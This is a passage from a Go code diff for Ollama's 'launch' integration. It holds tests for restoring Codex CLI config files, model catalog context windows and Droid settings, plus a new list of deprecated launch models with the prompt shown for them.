content := string(data)
if got, ok := codexRootStringValueOK(content, codexRootProfileKey); ok {
t.Fatalf("legacy root profile should be removed, got %q in:\n%s", got, content)
}
if strings.Contains(content, codexProfileHeader()) {
t.Fatalf("legacy profile table should be removed, got:\n%s", content)
}
for _, want := range []string{
`model = "gpt-5.5"`,
`model_provider = "openai"`,
"[profiles.default]",
} {
if !strings.Contains(content, want) {
t.Fatalf("expected %q to be preserved in:\n%s", want, content)
}
}
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
profileData, err := os.ReadFile(profilePath)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(profileData), `model = "llama3.2"`) {
t.Fatalf("managed profile was not written with selected model:\n%s", profileData)
}
assertBackupContains(t, filepath.Join(fileutil.BackupDir(), "config.toml.*"), `profile = "ollama-launch"`)
})
}
func TestCodexRestoreRemovesCLIProfileAndCatalogWithoutChangingUserRootConfig(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
t.Fatal(err)
}
userConfig := "" +
`model = "gpt-5.5"` + "\n" +
`model_provider = "openai"` + "\n\n" +
"[model_providers.openai]\n" +
`name = "OpenAI"` + "\n"
if err := os.WriteFile(configPath, []byte(userConfig), 0o644); err != nil {
t.Fatal(err)
}
if err := ensureCodexConfig("llama3.2", launchModelsFromNames([]string{"llama3.2"})); err != nil {
t.Fatal(err)
}
if err := (&Codex{}).Restore(); err != nil {
t.Fatalf("Restore returned error: %v", err)
}
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
t.Fatalf("CLI profile should be removed, got err=%v", err)
}
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
if _, err := os.Stat(catalogPath); !os.IsNotExist(err) {
t.Fatalf("CLI catalog should be removed, got err=%v", err)
}
data, err := os.ReadFile(configPath)
if err != nil {
t.Fatal(err)
}
if string(data) != userConfig {
t.Fatalf("user root config should be unchanged, got:\n%s", data)
}
}
func TestCodexRestoreDoesNotRewriteRootConfig(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
catalogPath := filepath.Join(tmpDir, ".codex", "model.json")
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
t.Fatal(err)
}
legacyConfig := "" +
`profile = "ollama-launch"` + "\n" +
`model = "llama3.2"` + "\n" +
`model_provider = "ollama-launch"` + "\n" +
fmt.Sprintf("model_catalog_json = %q\n\n", catalogPath) +
"[model_providers.ollama-launch]\n" +
`name = "Ollama"` + "\n" +
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
`wire_api = "responses"` + "\n\n" +
"[profiles.ollama-launch]\n" +
`model = "llama3.2"` + "\n\n" +
"[tools]\n" +
`web_search = true` + "\n"
if err := os.WriteFile(configPath, []byte(legacyConfig), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(catalogPath, []byte(`{"models":[]}`), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
t.Fatal(err)
}
if err := (&Codex{}).Restore(); err != nil {
t.Fatalf("Restore returned error: %v", err)
}
data, err := os.ReadFile(configPath)
if err != nil {
t.Fatal(err)
}
if string(data) != legacyConfig {
t.Fatalf("root config should be left untouched, got:\n%s", data)
}
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
t.Fatalf("CLI profile should be removed, got err=%v", err)
}
if _, err := os.Stat(catalogPath); err != nil {
t.Fatalf("CLI catalog should be left while root config references it: %v", err)
}
}
func TestCodexRestoreDoesNotTouchCodexAppConfig(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
configPath := filepath.Join(tmpDir, ".codex", "config.toml")
cliCatalogPath := filepath.Join(tmpDir, ".codex", "model.json")
appCatalogPath := filepath.Join(tmpDir, ".codex", codexAppModelCatalogFilename)
cliProfilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
appProfilePath := filepath.Join(tmpDir, ".codex", codexAppProfileName+".config.toml")
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
t.Fatal(err)
}
appManagedConfig := "" +
`model = "llama3.2"` + "\n" +
fmt.Sprintf("model_provider = %q\n", codexAppProfileName) +
fmt.Sprintf("model_catalog_json = %q\n\n", appCatalogPath) +
codexProviderHeaderFor(codexAppProfileName) + "\n" +
`name = "Ollama"` + "\n" +
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
`wire_api = "responses"` + "\n\n" +
codexProviderHeader() + "\n" +
`name = "Ollama"` + "\n" +
`base_url = "http://127.0.0.1:11434/v1/"` + "\n" +
`wire_api = "responses"` + "\n"
if err := os.WriteFile(configPath, []byte(appManagedConfig), 0o644); err != nil {
t.Fatal(err)
}
restoreState := fmt.Sprintf(`{"had_profile":false,"had_model":true,"model":"qwen3:8b","had_model_provider":true,"model_provider":%q,"had_model_catalog_json":true,"model_catalog_json":%q}`, codexProfileName, cliCatalogPath)
if err := os.MkdirAll(filepath.Dir(codexAppRestoreStatePath()), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(codexAppRestoreStatePath(), []byte(restoreState), 0o644); err != nil {
t.Fatal(err)
}
for _, path := range []string{cliCatalogPath, appCatalogPath, cliProfilePath, appProfilePath} {
if err := os.WriteFile(path, []byte(`{"models":[]}`), 0o644); err != nil {
t.Fatalf("write %s: %v", path, err)
}
}
if err := (&Codex{}).Restore(); err != nil {
t.Fatalf("Restore returned error: %v", err)
}
data, err := os.ReadFile(configPath)
if err != nil {
t.Fatal(err)
}
if string(data) != appManagedConfig {
t.Fatalf("Codex App root config should be left untouched, got:\n%s", data)
}
if _, err := os.Stat(cliProfilePath); !os.IsNotExist(err) {
t.Fatalf("CLI profile should be removed, got err=%v", err)
}
if _, err := os.Stat(cliCatalogPath); !os.IsNotExist(err) {
t.Fatalf("CLI catalog should be removed when root config does not reference it, got err=%v", err)
}
for _, path := range []string{appCatalogPath, appProfilePath, codexAppRestoreStatePath()} {
if _, err := os.Stat(path); err != nil {
t.Fatalf("%s should be left untouched, got err=%v", path, err)
}
}
}
func TestLaunchIntegrationCodexRestoreDoesNotRequireInstalledCLI(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
t.Setenv("PATH", tmpDir)
profilePath := filepath.Join(tmpDir, ".codex", "ollama-launch.config.toml")
if err := os.MkdirAll(filepath.Dir(profilePath), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(profilePath, []byte(`model_provider = "ollama-launch"`), 0o644); err != nil {
t.Fatal(err)
}
if err := LaunchIntegration(context.Background(), IntegrationLaunchRequest{Name: "codex", Restore: true}); err != nil {
t.Fatalf("LaunchIntegration returned error: %v", err)
}
if _, err := os.Stat(profilePath); !os.IsNotExist(err) {
t.Fatalf("CLI restore should run without codex installed and remove profile, got err=%v", err)
}
}
func assertBackupContains(t *testing.T, pattern, marker string) {
t.Helper()
backups, err := filepath.Glob(pattern)
if err != nil {
t.Fatal(err)
}
for _, backupPath := range backups {
data, err := os.ReadFile(backupPath)
if err != nil {
t.Fatal(err)
}
if strings.Contains(string(data), marker) {
return
}
}
t.Fatalf("backup matching %q with marker %q not found", pattern, marker)
}
func TestModelInfoContextLength(t *testing.T) {
tests := []struct {
name string
modelInfo map[string]any
want int
}{
{"float64 value", map[string]any{"qwen3_5_moe.context_length": float64(262144)}, 262144},
{"int value", map[string]any{"llama.context_length": 131072}, 131072},
{"no context_length key", map[string]any{"llama.embedding_length": float64(4096)}, 0},
{"empty map", map[string]any{}, 0},
{"nil map", nil, 0},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got, _ := modelInfoContextLength(tt.modelInfo)
if got != tt.want {
t.Errorf("modelInfoContextLength() = %d, want %d", got, tt.want)
}
})
}
}
func TestBuildCodexModelEntryContextWindow(t *testing.T) {
tests := []struct {
name string
model LaunchModel
envContextLen string
wantContext int
}{
{
name: "inventory context length as fallback",
model: LaunchModel{
Name: "llama3.2",
ContextLength: 131072,
Details: api.ModelDetails{Format: "gguf"},
},
wantContext: 131072,
},
{
name: "details context length is used when model context is empty",
model: LaunchModel{
Name: "llama3.2",
Details: api.ModelDetails{Format: "gguf", ContextLength: 131072},
},
wantContext: 131072,
},
{
name: "OLLAMA_CONTEXT_LENGTH overrides local gguf inventory context",
model: LaunchModel{
Name: "llama3.2",
ContextLength: 131072,
Details: api.ModelDetails{Format: "gguf"},
},
envContextLen: "64000",
wantContext: 64000,
},
{
name: "safetensors uses inventory context only",
model: LaunchModel{
Name: "llama3.2",
ContextLength: 131072,
Details: api.ModelDetails{Format: "safetensors"},
},
envContextLen: "64000",
wantContext: 131072,
},
{
name: "cloud model uses hardcoded limits",
model: LaunchModel{
Name: "qwen3.5:cloud",
ContextLength: 131072,
Details: api.ModelDetails{Format: "gguf"},
},
envContextLen: "64000",
wantContext: 262144,
},
{
name: "unknown cloud model without metadata uses fallback context",
model: LaunchModel{
Name: "deepseek-v4-pro:cloud",
},
envContextLen: "64000",
wantContext: codexFallbackContextWindow,
},
{
name: "vision capability without reasoning advertisement",
model: LaunchModel{
Name: "llama3.2",
ContextLength: 131072,
Details: api.ModelDetails{Format: "gguf"},
Capabilities: []modelpkg.Capability{modelpkg.CapabilityVision, modelpkg.CapabilityThinking},
},
wantContext: 131072,
},
{
name: "missing metadata uses fallback context",
model: LaunchModel{Name: "llama3.2"},
wantContext: codexFallbackContextWindow,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if tt.envContextLen != "" {
t.Setenv("OLLAMA_CONTEXT_LENGTH", tt.envContextLen)
} else {
t.Setenv("OLLAMA_CONTEXT_LENGTH", "")
}
entry := buildCodexModelEntry(tt.model)
gotContext, _ := entry["context_window"].(int)
if gotContext != tt.wantContext {
t.Errorf("context_window = %d, want %d", gotContext, tt.wantContext)
}
if tt.name == "vision capability without reasoning advertisement" {
modalities, _ := entry["input_modalities"].([]string)
if !slices.Contains(modalities, "image") {
t.Error("expected image in input_modalities")
}
levels, _ := entry["supported_reasoning_levels"].([]any)
if len(levels) != 0 {
t.Errorf("supported_reasoning_levels length = %d, want 0", len(levels))
}
if got, _ := entry["supports_reasoning_summaries"].(bool); got {
t.Error("supports_reasoning_summaries = true, want false")
}
}
if tt.name == "cloud model uses hardcoded limits" {
truncationPolicy, _ := entry["truncation_policy"].(map[string]any)
if mode, _ := truncationPolicy["mode"].(string); mode != "tokens" {
t.Errorf("truncation_policy mode = %q, want %q", mode, "tokens")
}
}
requiredKeys := []string{"slug", "display_name", "shell_type"}
for _, key := range requiredKeys {
if _, ok := entry[key]; !ok {
t.Errorf("missing required key %q", key)
}
}
if _, ok := entry["apply_patch_tool_type"]; ok {
t.Error("apply_patch_tool_type should be omitted so Codex CLI defaults can handle schema changes")
}
if _, err := json.Marshal(entry); err != nil {
t.Errorf("entry is not JSON serializable: %v", err)
}
})
}
}
+26 -26
View File
@@ -281,7 +281,7 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) {
case "/api/status":
fmt.Fprintf(w, `{"cloud":{"disabled":true,"source":"config"}}`)
case "/api/show":
fmt.Fprintf(w, `{"model":"llama3.2"}`)
fmt.Fprintf(w, `{"model":"sample-model"}`)
default:
w.WriteHeader(http.StatusNotFound)
}
@@ -294,7 +294,7 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) {
defer restore()
cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2"})
cmd.SetArgs([]string{"stubeditor", "--model", "sample-model"})
if err := cmd.Execute(); err != nil {
t.Fatalf("launch command failed: %v", err)
}
@@ -303,14 +303,14 @@ func TestLaunchCmdModelFlagFiltersDisabledCloudFromSavedConfig(t *testing.T) {
if err != nil {
t.Fatalf("failed to reload integration config: %v", err)
}
if diff := cmp.Diff([]string{"llama3.2"}, saved.Models); diff != "" {
if diff := cmp.Diff([]string{"sample-model"}, saved.Models); diff != "" {
t.Fatalf("saved models mismatch (-want +got):\n%s", diff)
}
if diff := cmp.Diff([][]string{{"llama3.2"}}, stub.edited); diff != "" {
if diff := cmp.Diff([][]string{{"sample-model"}}, stub.edited); diff != "" {
t.Fatalf("editor models mismatch (-want +got):\n%s", diff)
}
if stub.ranModel != "llama3.2" {
t.Fatalf("expected launch to run with llama3.2, got %q", stub.ranModel)
if stub.ranModel != "sample-model" {
t.Fatalf("expected launch to run with sample-model, got %q", stub.ranModel)
}
}
@@ -325,9 +325,9 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
case "/api/experimental/model-recommendations":
fmt.Fprint(w, `{"recommendations":[]}`)
case "/api/tags":
fmt.Fprint(w, `{"models":[{"name":"llama3.2"}]}`)
fmt.Fprint(w, `{"models":[{"name":"sample-model"}]}`)
case "/api/show":
fmt.Fprint(w, `{"model":"llama3.2"}`)
fmt.Fprint(w, `{"model":"sample-model"}`)
default:
w.WriteHeader(http.StatusNotFound)
}
@@ -347,7 +347,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
DefaultSingleSelector = func(title string, items []SelectionItem, current string) (string, error) {
selectorCalls++
gotCurrent = current
return "llama3.2", nil
return "sample-model", nil
}
cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
@@ -364,7 +364,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
if gotCurrent != "" {
t.Fatalf("expected disabled override to be cleared before selection, got current %q", gotCurrent)
}
if stub.ranModel != "llama3.2" {
if stub.ranModel != "sample-model" {
t.Fatalf("expected launch to run with replacement local model, got %q", stub.ranModel)
}
if !strings.Contains(stderr, "Warning: ignoring --model glm-5:cloud because cloud is disabled") {
@@ -375,7 +375,7 @@ func TestLaunchCmdModelFlagClearsDisabledCloudOverride(t *testing.T) {
if err != nil {
t.Fatalf("failed to reload integration config: %v", err)
}
if diff := cmp.Diff([]string{"llama3.2"}, saved.Models); diff != "" {
if diff := cmp.Diff([]string{"sample-model"}, saved.Models); diff != "" {
t.Fatalf("saved models mismatch (-want +got):\n%s", diff)
}
}
@@ -424,7 +424,7 @@ func TestLaunchCmdYes_AutoConfirmsLaunchPromptPath(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
fmt.Fprint(w, `{"model":"llama3.2"}`)
fmt.Fprint(w, `{"model":"sample-model"}`)
case "/api/status":
w.WriteHeader(http.StatusNotFound)
fmt.Fprint(w, `{"error":"not found"}`)
@@ -445,16 +445,16 @@ func TestLaunchCmdYes_AutoConfirmsLaunchPromptPath(t *testing.T) {
}
cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2", "--yes"})
cmd.SetArgs([]string{"stubeditor", "--model", "sample-model", "--yes"})
if err := cmd.Execute(); err != nil {
t.Fatalf("launch command with --yes failed: %v", err)
}
if diff := cmp.Diff([][]string{{"llama3.2"}}, stub.edited); diff != "" {
if diff := cmp.Diff([][]string{{"sample-model"}}, stub.edited); diff != "" {
t.Fatalf("editor models mismatch (-want +got):\n%s", diff)
}
if stub.ranModel != "llama3.2" {
t.Fatalf("expected launch to run with llama3.2, got %q", stub.ranModel)
if stub.ranModel != "sample-model" {
t.Fatalf("expected launch to run with sample-model, got %q", stub.ranModel)
}
}
@@ -513,7 +513,7 @@ func TestLaunchCmdHeadlessWithoutYes_AllowsConfiguredLaunch(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
fmt.Fprint(w, `{"model":"llama3.2"}`)
fmt.Fprint(w, `{"model":"sample-model"}`)
case "/api/status":
w.WriteHeader(http.StatusNotFound)
fmt.Fprint(w, `{"error":"not found"}`)
@@ -534,15 +534,15 @@ func TestLaunchCmdHeadlessWithoutYes_AllowsConfiguredLaunch(t *testing.T) {
}
cmd := LaunchCmd(func(cmd *cobra.Command, args []string) error { return nil }, func(cmd *cobra.Command) {})
cmd.SetArgs([]string{"stubeditor", "--model", "llama3.2"})
cmd.SetArgs([]string{"stubeditor", "--model", "sample-model"})
err := cmd.Execute()
if err != nil {
t.Fatalf("expected launch command to succeed without --yes when an explicit model is provided, got %v", err)
}
if diff := compareStringSlices(stub.edited, [][]string{{"llama3.2"}}); diff != "" {
if diff := compareStringSlices(stub.edited, [][]string{{"sample-model"}}); diff != "" {
t.Fatalf("unexpected editor writes (-want +got):\n%s", diff)
}
if stub.ranModel != "llama3.2" {
if stub.ranModel != "sample-model" {
t.Fatalf("expected launch to run configured model, got %q", stub.ranModel)
}
}
@@ -551,7 +551,7 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
tmpDir := t.TempDir()
setLaunchTestHome(t, tmpDir)
if err := config.SaveIntegration("stubapp", []string{"llama3.2"}); err != nil {
if err := config.SaveIntegration("stubapp", []string{"sample-model"}); err != nil {
t.Fatalf("failed to seed saved config: %v", err)
}
@@ -560,7 +560,7 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
case "/api/experimental/model-recommendations":
fmt.Fprint(w, `{"recommendations":[]}`)
case "/api/tags":
fmt.Fprint(w, `{"models":[{"name":"llama3.2"},{"name":"qwen3:8b"}]}`)
fmt.Fprint(w, `{"models":[{"name":"sample-model"},{"name":"qwen3:8b"}]}`)
case "/api/show":
fmt.Fprint(w, `{"model":"qwen3:8b"}`)
default:
@@ -589,8 +589,8 @@ func TestLaunchCmdIntegrationArgPromptsForModelWithSavedSelection(t *testing.T)
t.Fatalf("launch command failed: %v", err)
}
if gotCurrent != "llama3.2" {
t.Fatalf("expected selector current model to be saved model llama3.2, got %q", gotCurrent)
if gotCurrent != "sample-model" {
t.Fatalf("expected selector current model to be saved model sample-model, got %q", gotCurrent)
}
if stub.ranModel != "qwen3:8b" {
t.Fatalf("expected launch to run selected model qwen3:8b, got %q", stub.ranModel)
@@ -611,14 +611,14 @@ func TestLaunchCmdHeadlessYes_IntegrationRequiresModelEvenWhenSaved(t *testing.T
withLauncherHooks(t)
withInteractiveSession(t, false)
if err := config.SaveIntegration("stubapp", []string{"llama3.2"}); err != nil {
if err := config.SaveIntegration("stubapp", []string{"sample-model"}); err != nil {
t.Fatalf("failed to seed saved config: %v", err)
}
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/api/show":
fmt.Fprint(w, `{"model":"llama3.2"}`)
fmt.Fprint(w, `{"model":"sample-model"}`)
default:
w.WriteHeader(http.StatusNotFound)
}
+1 -1
View File
@@ -43,7 +43,7 @@ func (c *Copilot) findPath() (string, error) {
return fallback, nil
}
func (c *Copilot) Run(model string, args []string) error {
func (c *Copilot) Run(model string, _ []LaunchModel, args []string) error {
copilotPath, err := c.findPath()
if err != nil {
return fmt.Errorf("copilot is not installed, install from https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli")
+133
View File
@@ -0,0 +1,133 @@
package launch
import (
"fmt"
"strings"
"github.com/ollama/ollama/internal/modelref"
)
var deprecatedLaunchModels = map[string]struct{}{
"codellama": {},
"qwen2.5": {},
"qwen2.5-coder": {},
"llama3": {},
"llama3.1": {},
"llama3.2": {},
"llama3.3": {},
"mistral": {},
"starcoder": {},
}
var deprecatedLaunchModelTags = map[string]map[string]struct{}{
"deepseek-r1": {
"": {},
"latest": {},
"1.5b": {},
"7b": {},
"8b": {},
"14b": {},
"32b": {},
},
}
var errDeprecatedLaunchModelDeclined = fmt.Errorf("%w: deprecated launch model declined", ErrCancelled)
func isDeprecatedLaunchModel(name string) bool {
family, tag := normalizedLaunchModelRef(name)
if _, ok := deprecatedLaunchModels[family]; ok {
return true
}
tags, ok := deprecatedLaunchModelTags[family]
if !ok {
return false
}
_, ok = tags[tag]
return ok
}
func deprecatedLaunchModelPrompt(name, label, commandName, cloudRec, localRec string) string {
if !isDeprecatedLaunchModel(name) {
return ""
}
if label = strings.TrimSpace(label); label == "" {
label = "ollama launch"
}
var b strings.Builder
fmt.Fprintf(&b, "%s does not work well with %s. ", name, label)
switch {
case cloudRec != "" && localRec != "":
fmt.Fprintf(&b, "Try an agent-capable model like %s or %s instead", cloudRec, localRec)
case cloudRec != "":
fmt.Fprintf(&b, "Try an agent-capable model like %s instead", cloudRec)
case localRec != "":
fmt.Fprintf(&b, "Try an agent-capable model like %s instead", localRec)
default:
b.WriteString("Try a newer recommended agent-capable model instead")
}
if command := launchReplacementCommand(commandName, firstNonEmpty(cloudRec, localRec)); command != "" {
fmt.Fprintf(&b, ":\n %s", command)
} else {
b.WriteString(".")
}
fmt.Fprintf(&b, "\n\nLaunch with %s anyway?", name)
return b.String()
}
func launchReplacementCommand(commandName, model string) string {
commandName = strings.TrimSpace(commandName)
model = strings.TrimSpace(model)
if commandName == "" || model == "" {
return ""
}
return fmt.Sprintf("ollama launch %s --model %s", commandName, model)
}
func firstNonEmpty(values ...string) string {
for _, value := range values {
if value != "" {
return value
}
}
return ""
}
func normalizedLaunchModelRef(name string) (string, string) {
name = strings.TrimSpace(strings.ToLower(name))
if name == "" {
return "", ""
}
if base, stripped := modelref.StripCloudSourceTag(name); stripped {
name = base
}
if idx := strings.LastIndex(name, "/"); idx >= 0 {
name = name[idx+1:]
}
tag := ""
if idx := strings.Index(name, ":"); idx >= 0 {
tag = strings.TrimSpace(name[idx+1:])
name = name[:idx]
}
return strings.TrimSpace(name), tag
}
func filterDeprecatedLaunchModelItems(items []ModelItem) []ModelItem {
filtered := items[:0]
for _, item := range items {
if !isDeprecatedLaunchModel(item.Name) {
filtered = append(filtered, item)
}
}
return filtered
}
func filterDeprecatedLaunchModelNames(models []string) []string {
filtered := models[:0]
for _, model := range models {
if !isDeprecatedLaunchModel(model) {
filtered = append(filtered, model)
}
}
return filtered
}
+68
View File
@@ -0,0 +1,68 @@
package launch
import (
"strings"
"testing"
)
func TestLaunchModelDeprecation(t *testing.T) {
tests := []struct {
name string
deprecated bool
}{
{name: "qwen2.5", deprecated: true},
{name: "qwen2.5:14b", deprecated: true},
{name: "qwen2.5-coder:32b", deprecated: true},
{name: "library/qwen2.5-coder:7b", deprecated: true},
{name: "llama3", deprecated: true},
{name: "llama3.1:8b", deprecated: true},
{name: "llama3.2:latest", deprecated: true},
{name: "llama3.3:70b", deprecated: true},
{name: "llama3.2:cloud", deprecated: true},
{name: "codellama", deprecated: true},
{name: "codellama:13b-code", deprecated: true},
{name: "library/codellama:7b", deprecated: true},
{name: "starcoder", deprecated: true},
{name: "starcoder:15b", deprecated: true},
{name: "mistral", deprecated: true},
{name: "mistral:7b", deprecated: true},
{name: "deepseek-r1", deprecated: true},
{name: "deepseek-r1:latest", deprecated: true},
{name: "deepseek-r1:1.5b", deprecated: true},
{name: "deepseek-r1:7b", deprecated: true},
{name: "deepseek-r1:8b", deprecated: true},
{name: "deepseek-r1:14b", deprecated: true},
{name: "deepseek-r1:32b", deprecated: true},
{name: "deepseek-r1:32b-cloud", deprecated: true},
{name: "qwen3.5", deprecated: false},
{name: "qwen3-coder:30b", deprecated: false},
{name: "gemma4", deprecated: false},
{name: "my-qwen2.5-coder", deprecated: false},
{name: "llama3.2-inspired", deprecated: false},
{name: "codellama-inspired", deprecated: false},
{name: "starcoder2:15b", deprecated: false},
{name: "mixtral:8x7b", deprecated: false},
{name: "deepseek-r1:70b", deprecated: false},
{name: "deepseek-r1:671b", deprecated: false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := isDeprecatedLaunchModel(tt.name); got != tt.deprecated {
t.Fatalf("isDeprecatedLaunchModel(%q) = %v, want %v", tt.name, got, tt.deprecated)
}
})
}
}
func TestDeprecatedLaunchModelErrorMentionsRecommendedModels(t *testing.T) {
prompt := deprecatedLaunchModelPrompt("qwen2.5-coder:32b", "Codex", "codex", "recommended-cloud:cloud", "recommended-local")
if prompt == "" {
t.Fatal("expected deprecated model prompt")
}
for _, want := range []string{"qwen2.5-coder:32b does not work well with Codex", "recommended-cloud:cloud", "recommended-local", "ollama launch codex --model recommended-cloud:cloud", "Launch with qwen2.5-coder:32b anyway?"} {
if !strings.Contains(prompt, want) {
t.Fatalf("prompt %q does not contain %q", prompt, want)
}
}
}
+9 -11
View File
@@ -40,7 +40,7 @@ type modelEntry struct {
func (d *Droid) String() string { return "Droid" }
func (d *Droid) Run(model string, args []string) error {
func (d *Droid) Run(model string, _ []LaunchModel, args []string) error {
if _, err := exec.LookPath("droid"); err != nil {
return fmt.Errorf("droid is not installed, install from https://docs.factory.ai/cli/getting-started/quickstart")
}
@@ -64,7 +64,7 @@ func (d *Droid) Paths() []string {
return nil
}
func (d *Droid) Edit(models []string) error {
func (d *Droid) Edit(models []LaunchModel) error {
if len(models) == 0 {
return nil
}
@@ -99,7 +99,7 @@ func (d *Droid) Edit(models []string) error {
return fileutil.WriteWithBackup(settingsPath, data, "droid")
}
func updateDroidSettings(settingsMap map[string]any, settings droidSettings, models []string) map[string]any {
func updateDroidSettings(settingsMap map[string]any, settings droidSettings, models []LaunchModel) map[string]any {
// Keep only non-Ollama models from the raw map (preserves extra fields)
// Rebuild Ollama models
var nonOllamaModels []any
@@ -119,20 +119,18 @@ func updateDroidSettings(settingsMap map[string]any, settings droidSettings, mod
var defaultModelID string
for i, model := range models {
maxOutput := 64000
if isCloudModelName(model) {
if l, ok := lookupCloudModelLimit(model); ok {
maxOutput = l.Output
}
if model.MaxOutputTokens > 0 {
maxOutput = model.MaxOutputTokens
}
modelID := fmt.Sprintf("custom:%s-%d", model, i)
modelID := fmt.Sprintf("custom:%s-%d", model.Name, i)
newModels = append(newModels, modelEntry{
Model: model,
DisplayName: model,
Model: model.Name,
DisplayName: model.Name,
BaseURL: envconfig.Host().String() + "/v1",
APIKey: "ollama",
Provider: "generic-chat-completion-api",
MaxOutputTokens: maxOutput,
SupportsImages: false,
SupportsImages: model.HasCapability("vision"),
ID: modelID,
Index: i,
})
+35 -35
View File
@@ -63,7 +63,7 @@ func TestDroidEdit(t *testing.T) {
t.Run("fresh install creates models with sequential indices", func(t *testing.T) {
cleanup()
if err := d.Edit([]string{"model-a", "model-b"}); err != nil {
if err := d.Edit(testLaunchModels("model-a", "model-b")); err != nil {
t.Fatal(err)
}
@@ -99,7 +99,7 @@ func TestDroidEdit(t *testing.T) {
t.Run("sets sessionDefaultSettings.model to first model ID", func(t *testing.T) {
cleanup()
if err := d.Edit([]string{"model-a", "model-b"}); err != nil {
if err := d.Edit(testLaunchModels("model-a", "model-b")); err != nil {
t.Fatal(err)
}
@@ -116,10 +116,10 @@ func TestDroidEdit(t *testing.T) {
t.Run("re-indexes when models removed", func(t *testing.T) {
cleanup()
// Add three models
d.Edit([]string{"model-a", "model-b", "model-c"})
d.Edit(testLaunchModels("model-a", "model-b", "model-c"))
// Remove middle model
d.Edit([]string{"model-a", "model-c"})
d.Edit(testLaunchModels("model-a", "model-c"))
settings := readSettings()
models := getCustomModels(settings)
@@ -155,7 +155,7 @@ func TestDroidEdit(t *testing.T) {
]
}`), 0o644)
d.Edit([]string{"model-a"})
d.Edit(testLaunchModels("model-a"))
settings := readSettings()
models := getCustomModels(settings)
@@ -184,7 +184,7 @@ func TestDroidEdit(t *testing.T) {
"sessionDefaultSettings": {"autonomyMode": "auto-high"}
}`), 0o644)
d.Edit([]string{"model-a"})
d.Edit(testLaunchModels("model-a"))
settings := readSettings()
@@ -203,7 +203,7 @@ func TestDroidEdit(t *testing.T) {
t.Run("required fields present", func(t *testing.T) {
cleanup()
d.Edit([]string{"test-model"})
d.Edit(testLaunchModels("test-model"))
settings := readSettings()
models := getCustomModels(settings)
@@ -239,7 +239,7 @@ func TestDroidEdit(t *testing.T) {
"sessionDefaultSettings": {"reasoningEffort": "off"}
}`), 0o644)
d.Edit([]string{"model-a"})
d.Edit(testLaunchModels("model-a"))
settings := readSettings()
session := settings["sessionDefaultSettings"].(map[string]any)
@@ -256,7 +256,7 @@ func TestDroidEdit(t *testing.T) {
"sessionDefaultSettings": {"reasoningEffort": "high"}
}`), 0o644)
d.Edit([]string{"model-a"})
d.Edit(testLaunchModels("model-a"))
settings := readSettings()
session := settings["sessionDefaultSettings"].(map[string]any)
@@ -281,7 +281,7 @@ func TestDroidEdit_CorruptedJSON(t *testing.T) {
os.WriteFile(settingsPath, []byte(`{corrupted json content`), 0o644)
// Corrupted JSON should return an error so user knows something is wrong
err := d.Edit([]string{"model-a"})
err := d.Edit(testLaunchModels("model-a"))
if err == nil {
t.Fatal("expected error for corrupted JSON, got nil")
}
@@ -306,7 +306,7 @@ func TestDroidEdit_WrongTypeCustomModels(t *testing.T) {
os.WriteFile(settingsPath, []byte(`{"customModels": "not an array"}`), 0o644)
// Should not panic - wrong type should be handled gracefully
err := d.Edit([]string{"model-a"})
err := d.Edit(testLaunchModels("model-a"))
if err != nil {
t.Fatalf("Edit failed with wrong type customModels: %v", err)
}
@@ -338,7 +338,7 @@ func TestDroidEdit_EmptyModels(t *testing.T) {
os.WriteFile(settingsPath, []byte(originalContent), 0o644)
// Empty models should be no-op
err := d.Edit([]string{})
err := d.Edit(testLaunchModels())
if err != nil {
